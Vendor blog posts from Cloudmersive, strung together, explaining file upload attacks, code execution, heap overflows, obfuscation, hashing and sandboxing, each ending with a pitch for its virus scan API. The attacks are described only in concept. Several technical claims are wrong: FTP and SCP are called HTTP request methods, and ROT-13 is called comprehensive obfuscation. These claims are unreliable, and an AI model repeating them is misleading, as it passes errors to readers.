Further, if the server receives a disguised script or executable file instead of a valid JPG file (e.g., “sample_image.php.jpg”), it might take a few different actions depending on how the server is specifically configured to handle scripts or executables. It might return an error message to the client that divulges sensitive information about the server, it might execute the file’s contents outright, or it might indiscriminately pass the file on to the usual sensitive storage location.

Understanding Outcomes from Arbitrary File Upload Attacks

The outcomes of unrestricted file upload attacks vary depending on the way servers handle unexpected content.

Carrying on the earlier example, a server crashing from processing an oversized JPG file might result in a Denial-of-Service (DOS) attack. The threat actor responsible for this attack might be aiming to damage the reputation of the web application’s proprietor or otherwise disrupt operations in a meaningful way.

Processing scripts or executables might have far more severe consequences.

If a threat actor receives a detailed error message from submitting an executable file to the web server, they might learn crucial information about the server’s configuration which can help them plan and execute a subsequent targeted attack.

If the target server is configured to execute a certain type of script outright, they might be able to execute arbitrary commands and take control of the server with very little effort. If the attacker's executable file is stored in a sensitive location, they might be able to remotely trigger the file’s executable content through a later HTTP request and take some degree of control over the web server. This may give the attacker the ability to steal or delete sensitive data and possibly launch subsequent attacks using the compromised server as part of a larger network (i.e., Botnet attacks).

Preventing Arbitrary File Upload Attacks

Mitigating unrestricted file upload attacks is easier said than done. When web application developers set out to build applications with client-side upload capabilities, they typically implement what they believe to be a rigorous set of controls to protect the web server from file upload attacks. Sometimes these controls are adequate, and sometimes they leave applications with gaps that threat actors can exploit if they look hard enough.

It’s critical that developers keep technologies up to date and incorporate redundancy into their security controls to prevent unrestricted file upload attacks from occurring.

Defending Against Arbitrary File Upload Attacks with Cloudmersive

The Cloudmersive Advanced Virus Scan API offers 360-degree content verification to identify arbitrary file upload threats before files reach target applications and/or after files reach sensitive cloud storage locations. Available as a no-code or low-code solution, this API detects and provides the option set custom rules against threats including scripts, executables, invalid files, HTML, insecure deserialization, unsafe archives, and more.

For more information on the Cloudmersive Advanced Virus Scan API, please feel free to reach out to a member of our team.

Arbitrary Code Execution (ACE) is an umbrella term referring to any situation where a cybercriminal gains the opportunity to execute their own code on another computer or within another software environment. This fairly broad attack vector includes Remote Code Execution (RCE), which specifically describes scenarios in which the attacker’s arbitrary code is executed over a distance (e.g., over a network).

How does Arbitrary Code Execution work?

Threat actors look to exploit subtle vulnerabilities in software applications, systems, and even hardware to create opportunities for ACE. Troublingly, they often do so without utilizing virus- or malware-infected files, which renders traditional antivirus software ineffective at preventing sophisticated ACE-oriented attacks.

To gain an opportunity to execute arbitrary code, an attacker must first identify suitable vulnerabilities in the system they’re targeting. Many common vulnerabilities can open the door to arbitrary code execution, such as Buffer Overflow vulnerabilities, SQL injection (SQLI) vulnerabilities, or Cross-Site Scripting (XSS) vulnerabilities among others. In exploiting any of these common vulnerabilities, an attacker’s high-level goal is to penetrate server entryways that don’t adequately validate or sanitize their inputs before submitting data to sensitive server-side workflows.

Let’s say, for example, that an attacker was able to identify a Heap-Based Buffer Overflow vulnerability in a certain version of an image rendering technology used in a target organization’s image-processing web application. This attacker could gain an opportunity for ACE by crafting a malicious image file that intentionally exceeded the byte limits dynamically allocated to heap memory buffers in the image rendering workflow. Exceeding the application’s heap memory buffer allocation could trigger a data overflow into adjacent memory buffers, overwriting the contents of those buffers with content controlled by the attacker.

The attacker could include machine code instructions in their payload designed to execute directly in the overwritten heap memory buffers once the overflow occurred, or they could possibly force these buffers to execute code from a remote location (i.e., Remote Code Execution). Either way, if the attacker’s payload was executed with the same level of permissions as the process it overwrote, they could then (arbitrarily) run any code they wanted on the target system. They could theoretically create backdoors into the target system, exfiltrate or delete sensitive data, escalate their own privileges to the highest level, or cause any number of devastating system disruptions.

To make matters worse, the attacker could avoid detection by erasing important logs or modifying system files, ensuring security teams responsible for protecting the target system lacked key details related to the attack. This could turn the compromised system into a “zombie” system capable of participating in botnet attacks.

Mitigating Arbitrary Code Execution threats with Cloudmersive

The Cloudmersive Virus Scan API provides rigorous content verification policies on top of best-in-class virus & malware protection. Deploying the Virus Scan API ahead of sensitive web applications provides a critical layer of redundancy, helping to protect sensitive server entry points from harmful, specially crafted content.

Content verification ensures that each file entering a system rigorously conforms to an expected set of criteria for that file type, and that this content does not unexpectedly contain malicious code like scripts, HTML, or JavaScript. It also ensures that disguised executables, password protected files, and unsafe archives can’t be submitted to vulnerable file processing workflows.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

If a Heap-Based Buffer Overflow vulnerability is present in one of our image parsing or rendering technologies, threat actors can potentially exploit the vulnerability to run arbitrary code on our servers, and they can even crash our systems to cause Distributed Denial of Service (DDoS). This attack vector doesn't require any malware - making traditional antivirus software irrelevant as a defense method - and its outcomes can be just as devastating as any virus- or malware-based attack.

To understand what a heap-based buffer overflow vulnerability is, we first need to understand how heap memory works and exactly what buffers are.

What is Heap Memory?

The heap is a specific portion of a computer’s memory which is set aside for allocation. Our applications need a certain amount of memory to process incoming data, and modern-day systems tend to allocate finite amounts of these available memory segments dynamically. Application developers can also be directly responsible for the allocation or deallocation of heap memory.

What is a Buffer?

A buffer is a block of memory designed to hold and store data temporarily. It sees use across a variety of unique operations within a software program, such as reading or writing data. As data flows between different components or processes in an application, the buffer effectively helps manage the flow of that data.

How does a Heap-Based Buffer Overflow Occur?

Because heap memory is a finite resource, inputs that are too large can overrun a heap memory buffer and begin bleeding into adjacent memory allocations. This happens when input data (i.e., an image file upload) isn’t properly validated to ensure it rigorously conforms with the limitations of the application’s heap memory allocation.

How do Threat Actors Exploit Heap-Based Buffer Overflow Vulnerabilities?

When an image processing application is vulnerable to heap-based buffer overflow, an attacker can craft a malicious image file that intentionally exceeds the boundaries of a heap memory buffer, and they can subsequently impact what happens when that data spills over into adjacent memory allocations.

They can, for example, overwrite metadata living in adjacent memory, leading the application to execute the attacker’s code from a remote location (such as a specially crafted HTML page). They can also cause such a severe memory overflow that the application simply crashes, ensuring users are denied access to the service (resulting in a Denial-of-Service attack).

How can Heap-Based Buffer Overflow Vulnerabilities be Mitigated?

As with most software vulnerabilities, the onus of resolving specific security issues with an application or subset of related technologies (i.e., rendering & processing libraries) falls upon the application developers & their affiliated security teams. They need to use secure coding practices to ensure proper input validation, proper bounds checking, and safer memory functions.

Preventing Heap-Based Buffer Overflow Attacks with Cloudmersive

By deploying the Cloudmersive Advanced Virus Scan API ahead of our chosen suite of image processing applications, we can lean on powerful, independent content verification policies to ensure image files are thoroughly validated before they reach potentially vulnerable image processing applications. We can set custom request parameters to block invalid files, identify scripts and links within files, and much more.

Additionally, we can restrict incoming file types to a specific set of file extensions, limiting our attack surface by reducing the number of possible file types that any users can upload to our applications.

For more information on the Cloudmersive Advanced Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Protecting our systems from malware-based attacks should involve a combination of probabilistic and deterministic threat detection methods. These opposing threat detection methods effectively complement one another, boasting higher success rates for detecting zero-day malware threats and established (documented) malware threats respectively. Threat actors can use malware that falls into either category when they attempt to exploit vulnerabilities in our systems, and we need to be ready for both scenarios.

Malware, however, is only one category of threat we can expect our systems to encounter. Sophisticated threat actors can just as easily compromise our systems with non-malware threats (i.e., specially crafted invalid file uploads) designed to exploit vulnerabilities in our applications and bypass malware-focused detection policies. To combat threats in this category, we need to rely more heavily on deterministic (rules-based) threat detection methods.

Understanding Deterministic Threat Detection

At its core, deterministic threat detection is a binary concept. It relies on a clearly defined set of threat detection rules to uncover specific types of threats with a high degree of accuracy. Though inherently limited against zero-day (unknown/previously unrecorded) threats, deterministic threat detection methods tend to be efficient, limiting false-positives while consuming a very manageable set of resources.

In the context of malware threat detection, deterministic threat detection often boils down to signature-based scanning (referencing file signatures against a continuously updated database of recorded malware threats). This policy is a double-edged sword in malware detection; files that match a certain malware signature are almost sure to contain a threat, while files that contain zero-day malware signatures are just as sure to avoid detection.

When it comes to detecting customized non-malware threats, however, the efficacy of deterministic threat detection is greatly amplified. Rather than relying on previously recorded threat signatures to find a match – a moving target – we can instead lean on clearly-defined, static file formatting standards to determine when files have been spoofed or tampered with (i.e., made invalid) in potentially threatening ways. We can identify certain threatening content types – such as scripts, executables, or macros – based on rigid characteristics associated with those content types and safely block them without requiring a specific signature match.

Example Threat Actor Workflow

A malicious user could, for example, author custom scripts or executables and rename the file extension “.JPG” so it appeared valid for a particular image processing application. A malicious file crafted in this way would not contain discernable malware, so it would likely bypass forward-deployed malware threat detection policies. If the target application did not rigorously validate this file past the extension level, it might run the hidden script or executable, and the attacker might then be able to execute malicious code and/or gain access to the application servers.

By performing deterministic, in-depth content verification of the file format in question, however, we would be able to clearly identify that the contents of this alleged “.JPG” file did not conform to JPG formatting standards. Depending on the attacker’s commitment to obfuscation, we might also be able to separately identify the underlying scripts or executable contents themselves. Either way, because of this deterministic content verification process, we could make the decision to allow or disallow the compromised file from being processed by the target application.

Deterministic Threat Detection with the Cloudmersive Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API combines dynamic malware threat detection policies with deterministic content verification policies to provide 360-degree protection for web applications and cloud storage containers.

Custom rules can be set to flag invalid files or files containing scripts, executables, macros, password-protection measures, macros, HTML, JSON, and other threatening file types. Additionally, a custom comma-separated whitelist can be provided (e.g., ‘.png,.jpg,.pdf’) to deterministically block all file types which fail to match those specific files’ formatting standards.

For more information on the Cloudmersive Advanced Virus Scan API, please do not hesitate to reach out to a member of our sales team.

The simple transfer of digital documents via HTTP is a basic internet concept that just about everyone benefits from at one point or another. While a variety of unique HTTP request methods (e.g., FTP, SFTP, SCP, etc.) can be used to share document data, multipart/form-data is by far the most common method we see used in practice.

Understanding Multipart/Form-Data Requests

Multipart/form-data is a media type (or content type) used to encode binary data in HTTP requests. As the name suggests, HTTP request payloads structured as multipart/form-data include multiple parts, each containing their own set of headers and their own unique contents. This content type is triggered when the encoding type (i.e, ‘enctype’) for a web form is set to multipart/form-data by a web application developer.

Most commonly, multipart/form-data is used in an online web form with a file upload workflow. When a user uploads a document through an online web form (e.g., submitting a resume PDF in an online application) where multipart/form-data selected as the encoding type, the request is divided into multiple parts separated by boundary strings that clearly specify each content type. By structuring the request in this way, relevant text data can be bundled alongside binary file data in a single HTTP request without either content type interfering with the interpretation of the other (e.g., submitting a first and last name along with an attached resume PDF). On the receiving end, the server-side application fielding this HTTP request can extract text and binary content from the HTTP message according to the content headers and process that content accordingly.

Security Benefits

Among many other advantages, the clearly defined boundaries of multipart/form-data requests help to simplify the processes of validating binary file content and investigating that content for potential security threats. Security solutions such as virus scanning reverse-proxy (or forward-proxy) servers can be deployed adjacent to server-side web applications to intercept HTTP requests and analyze the binary file contents independently of the text-based contents.

Intercepting & Scanning Multipart/Form-Data with Cloudmersive

Cloudmersive Shield (virus scanning reverse-proxy & forward-proxy server) is a no-code solution that can be deployed ahead of any web application receiving multipart/form-data HTTP requests to scan file content for virus and malware threats at the network edge. The Cloudmersive Virus-Scanning ICAP Server can also be deployed to a similar effect.

The underlying Advanced Virus Scan API can identify known threat signatures with signature-based scanning and uncover hidden threats with predictive zero-day threat analysis. In addition, custom content restrictions can be set via simple request parameters to help block common obfuscated content threats including invalid files, password-protected files, archives, macros, and more.

For more information on no-code Cloudmersive Virus Scanning solutions for HTTP file uploads, please do not hesitate to reach out to a member of our team.

While JSON and XML are both text-based data formats, they can both store binary file data objects (such as images, audio files, etc.) when those objects are encoded with ASCII characters. ASCII is a common text-based character set accepted by most computer systems around the world.

Converting binary data to ASCII can be accomplished through Base64 encoding, and after that encoding takes place, the resulting ASCII character representation can be stored in a JSON property or an XML element. This means Base64-encoded binary file data can travel within JSON and XML objects through an HTTP request, and servers processing JSON or XML objects can eventually decode that content.

It’s important to note that binary file data can also be encoded separately from JSON or XML data objects in a multipart/form-data HTTP request. This encoding process is commonly used for file attachment uploads through web application portals. Binary data is considerably smaller than its Base64 encoded counterpart, so multipart/form-data requests tend to be more efficient when larger files (e.g., multi-page PDF documents) are involved.

From a cybersecurity threat modeling viewpoint, the inclusion of encoded binary data within JSON and XML objects represents a significant threat to our applications.

Files containing malicious payloads (i.e., malware or malicious scripts) can be disguised as apparently innocent binary data objects and stored within JSON or XML data, ready to execute after data deserialization and Base64 decoding take place. Excessively large files (without malicious code) can be disguised in much the same way and used to crash targeted systems, resulting in Denial of Service (DoS) attacks. A wide range of additional techniques can be used to exploit vulnerable server-side data processing workflows that improperly validate or sanitize their inputs.

Cloudmersive Protection for HTTP Requests

Cloudmersive Shield (Virus Scanning Reverse-Proxy Server) and Cloudmersive Virus Scanning ICAP servers can be deployed to protect applications against malicious HTTP requests containing insecure binary file data and other threats. Both solutions require zero code changes, and both make requests to the Cloudmersive Virus Scan API for malware scanning and in-depth content verification with custom threat rules.

Cloudmersive Shield can be deployed in front of any web application(s) to automatically detect and block malicious file uploads at the network edge, while the Cloudmersive Virus Scanning ICAP Server can be deployed between the WAF (or Load Balancer) and the web applications it protects.
Both solutions will scan binary data in JSON and XML requests as well as HTTP file uploads (i.e., multipart/form-data).

For more information on Cloudmersive Shield and Virus Scanning ICAP Servers, please feel free to reach out to a member of our sales team.

Anytime we install new software, develop new applications, or design our network architecture, we always take on a variety of cybersecurity risks. Every technology strategy is a double-edged sword, and if we don’t fully understand the vulnerabilities of our chosen technologies, we greatly increase the likelihood that cybercriminals can successfully infiltrate our systems and steal or harm our data.

By carefully establishing threat models, we can systematically approach the vulnerabilities associated with our technologies and find ways to overcome them.

What is threat modeling?

Threat modeling is a multi-step process that begins with a comprehensive understanding of any given technology.

If, for example, we’re designing a new client-facing application for our business, we might begin building our threat model by succinctly describing the application’s step-by-step workflow. After that, we can identify the type of server we’re deploying that application on, and in the midst of that thought process, we can make note of - and later challenge - any assumptions we've made along the way.

Once we understand exactly what our technology is expected to accomplish, we can begin to identify the types of cybersecurity threats that tend to effectively exploit that technology. Carrying on the earlier example, we might expect a client-facing web application to be at risk of cross-site scripting attacks or malicious client-side file uploads.

After we’ve identified the types of threats we expect to encounter, we can decide upon which methods we should use to mitigate those threats, and we can begin validating these methods work how we expect them to. If, for example, we decide to use anti-virus software to scan file uploads that pass through our client-facing web application, we need to ensure the service is compatible with our existing technologies, that it successfully filters out the types of threats we expect to face, and that its performance metrics align with our own.

The threat modeling process restarts constantly over time as we periodically update and improve our technologies. Even the slightest changes to our application can create significant new vulnerabilities, and our approach to mitigating those vulnerabilities must evolve in lockstep.

What are the benefits of threat models?

If we take the right approach to our threat model, we should ideally arrive at a clear understanding of the attack vectors cybercriminals might use to exploit our technology, and this understanding should justify our subsequent cybersecurity efforts. This understanding should also establish a high degree of confidence in our technology's security policies that all beneficiaries (e.g., internal and/or external application users) can derive confidence from.

What is the Cloudmersive Virus Scan threat model?

The Cloudmersive Virus Scan threat model identifies the types of cybersecurity threats which the Cloudmersive Virus Scan API is designed to mitigate. This includes everything from virus and malware threats to custom (obfuscated) content threats in the form of scripts, executables, macros, invalid files, and more.

For more information on the Cloudmersive Virus Scan threat model, please do not hesitate to reach out to a member of our team.

While a contemporary surge in the popularity of cloud computing might appear to have made physical server locations an afterthought, cloud data center locality still remains a key consideration when deploying software in the cloud.

What are cloud data centers?

Cloud data centers are large, physical collections of servers deployed by host organizations in strategic regions around the world. By deploying applications to a cloud data center, client organizations can reduce the overhead costs associated with on-premises server purchasing and maintenance, and they can rapidly scale server bandwidth to meet increases (or decreases) in traffic on their websites and web applications with relative ease.

How do cloud data center regions impact organizations?

There are several reasons why it’s important for organizations to consider the specific region(s) of the cloud data center(s) they deploy on.

First and foremost, the location of a data center relative to an organization’s client servers (internal or external) has a direct impact on client request latency. All things being equal, the further a client server is located from the data center serving its request, the slower that request will be served, and the closer the client server is located from the data center serving its request, the faster that request will be served. While the latency differences between individual requests to nearby and distant data centers might at times appear negligible, the negative impact of distance on request latency becomes very apparent when high volumes of requests are made. The cumulation of high latency times per request stacks quickly and accumulates in a sub-par experience for client servers.

Local data regulations in various countries and/or specific industries (e.g., healthcare) also play a key role in determining which data center regions a given organization is allowed to use. In regulatory scenarios where client data isn’t permitted to travel past a certain regional boundary, it’s critical to ensure client requests only travel to data center resources within their permitted regional boundary. This means organizations must identify viable cloud data center regions per their specific regulatory requirements before deploying software with any cloud provider.

One other impactful consideration is regional data center redundancy. If a regional data center fails for any reason – whether that be the result of a power outage or any other disruptive event – understanding the location of backup data center regions can help clarify the temporary change in service standards that client servers will experience while the regional data center undergoes repairs.

Regional deployments in Cloudmersive data centers

Cloudmersive offers Managed Instance deployments (dedicated, single-tenant infrastructure) on its own in-house data centers as a full SaaS, turn-key solution. These deployments are customizable and highly scalable with no pre-set limits, licensed per core per year.

The below image identifies all currently available Cloudmersive data center regions:

For additional information on Cloudmersive data center regions & Managed Instance deployments, please do not hesitate to reach out to a member of our sales team.

What is obfuscation?

On its own, the term obfuscation broadly refers to the act of making any information more obscure or difficult to understand. If, for example, the subject of a live TV interview was giving convoluted, roundabout answers to clearly stated questions, we might say that this subject was using obfuscation techniques to throw off the interviewer’s efforts to uncover important information.

Context is critical for understanding if obfuscation has innocent or malicious intentions. In the above example, the interview subject’s reasons for obfuscating information could be innocent (e.g., to protect information about the subject’s personal life from leaking to the public), and they could also be malicious (e.g., to mask incriminating information from coming out to the public).

What is code obfuscation?

The obfuscation of code follows a similar logic. Code obfuscation is the act of making any piece of code more difficult to read, understand, and reverse engineer by external persons or programs.

While code obfuscation is commonly used for legitimate, innocent purposes – such as making a software product’s program code more difficult for industry competitors or cyber criminals to reverse engineer – it’s also frequently used by malware authors as a way of making malicious programs more difficult for antivirus solutions to detect.

Why do malware authors obfuscate malicious code?

The effective obfuscation of malicious code simply makes it difficult for antivirus software and/or security administrators to determine the purpose of that code. Not only does this help obscure malware properties from traditional signature-based methods, but it also helps throw off predictive detection methods that attempt to identify malware by analyzing the underlying program’s intended behavior.

Obfuscated malicious code might not be readable at all, or it might just be too immensely resource intensive for a person or program to realistically deobfuscate. For example, a comprehensive obfuscation technique like ROT-13 can be used to completely substitute code for random characters, while a more convoluted obfuscation technique like XOR can be used to encrypt code in a way that's only legible to a well-trained eye. These techniques make code obfuscation an effective method for reusing established, normally recognizable malware strains in new cyber-attacks.

For a sophisticated malware author, obfuscating unique, custom-built malicious scripts and executables (i.e., indented for use in a targeted cyber-attack) tends to require minimal effort while significantly increasing their chances of successfully bypassing antivirus software. These disguised scripts and executables can be polymorphic, come in many diverse types, and cover a large potential attack surface. They can root an entire system, crash a system, or generate high latency events (e.g., Denial of Service).

In one relatively recent & prominent real-world example, a reputable IT Infrastructure Management Software company was breached by a complex, clandestine cyber-attack in which well obfuscated malware was used to create a backdoor in software updates for the company’s core platform. The attack wasn’t discovered for more than a year when platform users began downloading malware-infected platform updates.

How can obfuscated threats be averted?

While there’s no silver bullet solution for detecting effectively obfuscated malware, many attacks involving obfuscation methods can be averted by incorporating shrewd content restrictions at vulnerable entry points to our system.

Rather than attempt to scan executable files or script files for malicious programs, for example, we can simply restrict executables and scripts from entering our system altogether, thus avoiding the risk that these files might contain obfuscated malicious programs. This is particularly effective in scenarios where those file types are unnecessary or irrelevant to begin with.

Avoiding obfuscated threats with the Cloudmersive Virus Scan API

The advanced iteration of the Cloudmersive Virus Scan API performs a dynamic, thorough malware scan while simultaneously offering a variety of no-nonsense content restriction parameters to help security administrators avoid obfuscated content threats.

Using minimal, ready-to-run code examples or a no-code Cloudmersive account management portal, security administrators can set custom restrictions against executables, macros, invalid files, scripts, unsafe archives, password-protected files, and more. In addition, administrators can elect to whitelist acceptable file types and block all files that fail to pass rigorous content verification checks against that list. All files are verified in-depth against the extension they present, ensuring invalid and/or spoofed malicious files can’t enter a system undetected.

For more information about content scanning with the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

When the concept of the World Wide Web came into existence more than 30 years ago, the development and introduction of a standardized information transfer protocol was soon to follow. After managing to succinctly characterize the basic relationship between clients and servers on the World Wide Web, Tim Berner-Lee developed Hypertext Transfer Protocol (HTTP) 1.0 with the goal of simplifying file transfer functionality between servers, enabling an easy index search of hypertext archives, automatically negotiating data formats, and allowing servers to refer clients to other server resources.

How are HTTP requests composed?

Simply put, an HTTP request is a message sent from a client server to a specified host on another server with the goal of retrieving or modifying that server’s resources. This request leverages URL (uniform resource locator) components to specify a scheme (i.e., HTTP or HTTPS), a host (i.e., www.cloudmersive.com), a path (which leads to specific server resources), and a query string (depending on the nature of the request).

Through an HTTP request, clients can create, read, update, or delete (CRUD) resources on a server. The specific action taken by the HTTP request is defined by the request method, which corresponds to one of the CRUD operations. The four most common HTTP request methods include (and are not limited to):

1. GET: this method retrieves data – including images, videos, documents, etc. – from the target server.
2. POST: this method provides data to the target server for processing, such as user-completed fields from an online form, search query parameters, etc.
3. PUT: this method modifies data on the server, replacing content in a specific location with the body of the request payload. This can also generate new server resources if none exist to be replaced.
4. DELETE: this method removes data from a specific location on a server.

A correctly composed HTTP request must state the method it is utilizing, and it must also contain headers to provide the server recipient with key information about the sender – such as the way in which the sender wants to communicate with the recipient. This information makes it possible for the server to respond appropriately to the request.

When request methods like POST are used, the HTTP request must also contain a message body that contains data required to interact with the server. This data can be encoded for transport, but it must be present.

As infected files become increasingly complex and sophisticated, virus & malware scanning isn’t always enough by itself to adequately limit a system’s threat profile. By incorporating content scanning policies into the threat detection process, it’s possible to mitigate the risk of false negative malware scans by setting no-nonsense restrictions against inherently dangerous file types. Below, we’ll discuss virus & malware scanning and content scanning as independent concepts, and we’ll subsequently highlight how the two work together to limit a system’s threat profile.

Understanding virus & malware file scanning

The practice of virus & malware scanning explicitly attempts to detect malware threats hidden within files. Virus & malware file scans are generally multi-step processes in which a variety of threat detection techniques are applied one after another, such as signature-based scanning, heuristic analysis, certificate analysis, and others. When a virus & malware scan is complete, files are tagged as clean or infected and dealt with accordingly.

The greater the variety (and quality) of threat detection policies applied in a virus & malware scan, the more likely it is that malware will be identified, and the more likely it is that false positives will be avoided. However, no matter how advanced or sophisticated virus & malware scanning techniques are, there’s always the possibility that a completely new or custom/targeted malware threat can breach the file scanning process and produce a potentially disastrous false negative result.

Understanding content scanning

The practice of content scanning is not directly concerned with identifying malware threats. Instead, this practice is concerned with verifying content types and categorically accepting or rejecting incoming files based on pre-set content verification rules. In other words, content scanning brings simple blacklisting and whitelisting concepts to the file threat detection process by focusing on the mitigation of inherently threatening file types rather than the discovery of malware within those files.

For example, since file types like scripts, executables, and macro-enabled Office files consistently present a high malware risk, explicitly blacklisting these file types from entering a system can improve its threat profile considerably. Additionally, whitelisting certain common file types (like PDF, DOCX, or XLSX for example) in a content scanning process constitutes an even more stringent anti-threat policy, rejecting an even wider range of files.

Virus, malware & content scanning

Applying shrewd content verification policies diminishes the number of threatening file types entering or leaving a system and reduces the likelihood of infected files slipping through the cracks. This effectively lessens the burden of threat detection that virus & malware scanning policies otherwise bear. Combining virus, malware and content scanning policies into a single file scanning service can cumulatively create a powerful layer of security for any system, and it can additionally help simplify security architecture for cybersecurity professionals.

Virus, malware & content scanning with the Cloudmersive Virus Scan API

The advanced iteration of the Cloudmersive Virus Scan API combines powerful virus & malware threat detection capabilities with content scanning policies to help significantly limit a system’s threat profile. Custom API parameters can be set to block executables, invalid file types, unsafe archives, scripts, macros, password-protected files, and more, and file types can be restricted even further with comma-separated whitelists of acceptable file extensions.

For more information on the Cloudmersive Virus Scan API, please feel free to reach out to a member of our sales team.

When a web API is not designed to store information from a client request on the application server, we can call it a Stateless API. In this API architecture, each independent client request to an application server contains all the information it needs to interact with server resources, making the retention of the client state unnecessary. Stateless APIs are one of the selling points of Representational State Transfer (REST) API architecture - a key building block of modern distributed application architecture.

In contrast, when a web API is designed to store information from each client request on the application server, we can call it a Stateful API. Maintaining the state of a client request makes it possible to reference details from that request throughout a prolonged session of server access. Stateful API architecture is commonly utilized, for example, in the context of Simple Object Access Protocol (SOAP) APIs, where data-retention concepts like session management – a sequence of interconnected server requests – are deemed important to the function of a given application.

What are the advantages of stateless APIs?

Stateless APIs effectively decouple clients from the application servers they seek resources from, simplifying the relationship between the two. Because stateless API servers aren’t concerned with caching existing client information and/or synchronizing data between servers, consecutive requests from a single client – as well as simultaneous requests from dozens of clients interacting with a single server resource – can be evenly spread out over multiple application servers with load balancers. Applications utilizing stateless APIs can therefore scale exceptionally well with steady increases in client traffic.

We encounter stateless APIs constantly in our interactions with everyday web applications, such as when we browse movie categories through a streaming platform or look at products on an ecommerce website. In both of these basic examples, our initial and subsequent requests for layered server resources are performed independently of one another, and our requests can be fulfilled across multiple different servers as server traffic fluctuates.

Stateless APIs no longer offer an advantage when maintaining user state is a requirement, as is the case – for example – with user authorization portals in secure online banking applications. In such cases, client-supplied data (i.e., login details) is required to maintain a secure session with the application server, tying the client and the server together for the remainder of the session.

Stateless Cloudmersive APIs

All Cloudmersive APIs are designed with enhanced performance and security features. They’re all stateless, with requests processed in-memory (when the request is complete, the memory is released). Additionally, Cloudmersive does not store any Customer Payload Data, and it utilized strong encryption algorithms both in transit AND at rest.

For more information about Cloudmersive APIs, please do not hesitate to reach out to a member of our sales team.

Each file we encounter in our system is a sliver of data that can be represented in binary form & interpreted by our computer. This fundamental similarity between all file types makes it possible to differentiate files from one another in a standardized way: by calculating unique, fixed-length strings – called file hashes – that change reliably with the introduction of even the slightest file changes. The process of creating these unique identifying strings is called File Hashing, and it can be accurately characterized as digital fingerprinting.

How does file hashing work, and what is it commonly used for?

File hashes are typically extracted from a file using one of several different hashing algorithms. Once a hash is produced, it belongs only to the specific iteration of the file it was extracted from, making it possible to identify exact copies of that file by referencing the original file hash in a database.

When protected files are stolen and/or illegally shared across the internet, for example, file hashing can play a key role in rapidly tracking down the stolen file. While more advanced, complex file detection techniques also exist today – such as machine learning detection – file hashing still represents a faster, more lightweight processing solution due to the limited size of a hash string.

What is file hashing in the context of malware threat detection?

In the context of malware threat detection, file hash detection can also play a somewhat similar role to signature-based threat detection – albeit in a more limited & less categorical capacity. If duplicate versions of previously encountered malware-infected files pass through a scanner with access to an up-to-date file hash database, it’s possible to flag those files immediately based on their file hash.

Additionally, file hashes can be used to determine if important existing files have been tampered with (e.g., changed by malicious code) in some way. The slightest change to a file’s composition will result in a new hash value; if changes occurred to an existing file without interaction from a trusted user, it’s possible those changes were made by a malicious external actor.

While many earlier cybersecurity solutions relied significantly (in some cases exclusively) on file hashing and/or signature matching for malware detection, relying so heavily on these policies is no longer considered a secure practice. The problem is that hundreds of thousands of unique malware iterations are introduced every day – numbers which file hash databases simply cannot scale to keep up with. On top of that, experienced threat actors know they can circumvent basic hash detection techniques by adding even the slightest alterations to their malicious executable files. That said, file hashing still does remain a useful & effective threat detection tool when employed prudently as one cog in a much larger malware-scanning whole.

File hashing with the Cloudmersive Virus Scan API

The basic, fundamental iteration of the Cloudmersive Virus Scan API identifies viruses & malware within a sandbox scanning layer that includes a combination of file hashing, signature extraction, pattern matching, heuristics, whitelisting, bytecode analysis, and certificate analysis. This multi-dimensional approach to scanning ensures a wide variety of threats – including established threats from known malware families & zero-day threats with no referable record – are reliably identified in high-speed, in-memory scans.

In addition, the Advanced Scan iteration of the Virus Scan API makes it possible to incorporate in-depth content verification steps into the virus scan process. Through this heavily utilized API iteration, it’s possible to set custom rules against threatening file types including invalid files, password-protected files, executables, script files, unsafe archives, and more without writing any code. Additionally, it’s possible to limit file types by providing a custom comma-separated whitelist of acceptable file extensions.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Given the opportunity to execute within our live network, malware-infected files can rapidly access sensitive information from within our systems, make changes to our systems, and/or even establish external connections with servers operated by remote threat actors.

While our primary objective in cybersecurity is simple – to quickly detect and remove these malware-infected files before disaster strikes – the path to accomplishing that goal in an increasingly innovative & diversified threat landscape is more complex. It requires thoroughly analyzing both the properties and the behaviors of these suspicious files, which entails careful observation of how suspicious files operate in order to truly determine their intentions. Since we obviously can’t allow malware to execute within a live network environment, we can execute suspicious content within a controlled & fundamentally limited environment – commonly referred to as a sandbox – instead.

How does sandboxing typically work?

The goal of a sandbox environment is to isolate potentially malicious files, check those files’ signatures against databases of known threats, and perform various analytical techniques to detect malicious behaviors which might indicate unknown (zero-day) threats.

The process of sandboxing usually starts with separating the suspicious file from an environment where it can cause harm and placing it within a controlled environment. Within that environment, the file can be subsequently executed, and cybersecurity analysts – or fully automated cybersecurity tools, in the case of endpoint security solutions – can analyze how the file interacts with the sandbox environment to detect malicious behaviors. Various techniques can be used to flag malicious content, including a combination of machine-learning algorithms, heuristics, file hashing, whitelisting policies, bytecode analysis, certificate analysis, and more. File signatures can be extracted and compared against databases of known threats to determine if the suspicious file lands within a known malware family. Once sandboxing analysis is complete, appropriate actions can be taken against clean or malicious files, such as quarantining or deleting files which demonstrated malicious behaviors or returning clean files to the live environment.

Sandboxing & the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API scans files for viruses, malware, and other threats within a sandbox environment. When files are loaded into memory, they undergo a rigorous multi-dimensional check including file hashing, signal extraction, pattern matching, heuristics, whitelisting, bytecode analysis, and certificate analysis. All files are scanned in-memory, ensuring the process is both fast (sub-second typical response times) and extremely safe (all file data is released upon scan completion).

The advanced iteration of the Cloudmersive Virus Scan API additionally incorporates 360-degree content verification, allowing custom rules to be set against unwanted & commonly threatening file types. Through this feature, it’s possible to categorically block file types including executables, scripts, HTML, invalid files, password-protected files, unsafe archives (e.g., zip bombs), and more on top of the baseline multi-dimensional scan service. It’s also possible to designate a custom, comma-separated whitelist of acceptable file extensions to significantly limit threat potential.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Where and how Cloudmersive Virus Scan products are deployed depends entirely on the specific needs of each individual customer. In a Managed Instance Deployment, products are deployed and managed by Cloudmersive for the customer through one of several infrastructure options.

Managed Instance Deployment effectively offers a turnkey, Software-as-a-Service experience for customers. This solution is designed to be extremely scalable, licensed per core per year with no pre-set limits. Additionally, each Managed Instance Deployment can be fully customized across environment, region, network, and security model.

